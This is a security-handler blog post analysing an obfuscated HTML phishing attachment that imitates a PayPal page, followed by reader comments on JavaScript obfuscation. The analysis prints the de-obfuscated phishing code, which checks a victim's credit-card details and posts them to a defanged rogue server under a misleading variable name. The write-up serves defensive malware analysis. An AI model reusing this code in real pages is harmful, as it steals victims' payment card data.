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Nicely Obfuscated JavaScript Sample

Published: 2017-03-24. Last Updated: 2017-03-24 11:45:23 UTC
by Xavier Mertens (Version: 1)
3 comment(s)

One of our readers sent us an interesting sample that was captured by his anti-spam. The suspicious email had an HTML file attached to it. By having a look at the file manually, it is heavily obfuscated and the payload is encoded in a unique variable:

var iKz7xb8 = "160b6e65697e737a6f0a627e67661416425e47460a464b444d17084f44081416424f4b4e1416
474f5e4b0a49424b58594f5e17085f5e4c0712081416474f5e4b0a444b474f17085c434f5d5a45585e080a49454
45e4f445e17085d434e5e42174e4f5c43494f075d434e5e42060a4344435e434b460759494b464f171b08141646
4344410a42584f4c1708425e5e5a591005054c45445e59044d45454d464f4b5a43590449454705495959154c4b4
743465317784548455e45080a584f461708595e53464f59424f4f5e08140a16595e53464f1400514c45445e074c
4b47434653100a0d784548455e450d060a5 ... ";

The file has a current VT score of 0/55 [1] and is "free" of malicious code, it is just a very nice Paypal phishing page:

The HTTP form data are sent to a rogue server but how to get it? To obtain more details about the malicious JavaScript code, it can be de-obfuscated with JSDetox[2] and some manual changes. The complete code can now be reviewed manually. The following function does the job:

<input type="button" class="ssP" onClick="ss()" value="Submit Form">
...
function ss(){
    if (!TLSPort()){
        window.location.replace("https://www.paypal.com/");
        return false;
    }
    var GoogleAnalytics="hxxp://www.eurodyte.net/" + "86c2e66377265675a8a0edc1befe1837.php";
    document.forms["pF"].action=GoogleAnalytics;document.forms["pF"].method="POST";
    document.forms["pF"].submit();
}

The TLSPort() function is just a validation function:

function TLSPort(){
    var CV=CValid(document.pF.pCC.value);
    if (!CV) return 0;
    var x=document.pF.pFN.value,y=document.pF.pEM.value,z=document.pF.pEY.value,\ 
        w=document.pF.pSA.value,v=document.pF.pCV.value;
    if (!v || !w || !x || y=="00" || z=="00") return 0;
    return 1;
}

CValid is used to verify the CC number provided by the victim:

function CValid(x){
    if (/[^0-9-\s]+/.test(x)) return false;
    var nn=0,nd=0,be=false;x=x.replace(/\D/g, "");
    for (var n=x.length - 1; n >=0; n--){
        var cd=x.charAt(n),nd=parseInt(cd, 10);
        if (be){
            if ((nd *=2) > 9) nd -=9
        }
        nn +=nd;be=!be
    }
    return (nn % 10)==0
}

Here is a valid POST to the attacker's server (using a test Visa number - 4111111111111111 - and fake data):

[1] https://www.virustotal.com/en/file/a54f8118448da24d9c344e0b2dea511819b6f7de5b2bb2d00b99c71153a4970a/analysis/
[2] https://github.com/svent/jsdetox

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

3 comment(s)
My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

Comments

Can someone explain to me why seemingly legit sites (for example, ipchicken.com) use javascript obfuscation. Seems to me, if we could stop legitimizing it's use in some places, we could do a better job of protecting our folks against its use.
> Can someone explain to me why seemingly legit sites use JavaScript obfuscation?

To protect their Intellectual Property, namely code snippets that could be useful on other sites?
To "hide" their sloppy programming?

I once saw some commercially-licensed FORTRAN programs for "contouring" [graphics] where all the characters of the variable-names were either "oh" or "zero" or "eye" or "1".
This reminds me of an episode of "The Match Game with Gene Rayburn" where all the items on the game-board were like '$6.66' or $6.69' or '$9.69'.
I have an hypothesis: it's the same reason that pushes some people to disable copy-pasting functionality in password forms to 'secure' their website or disabling the 'right-click' to prevent IP theft :)

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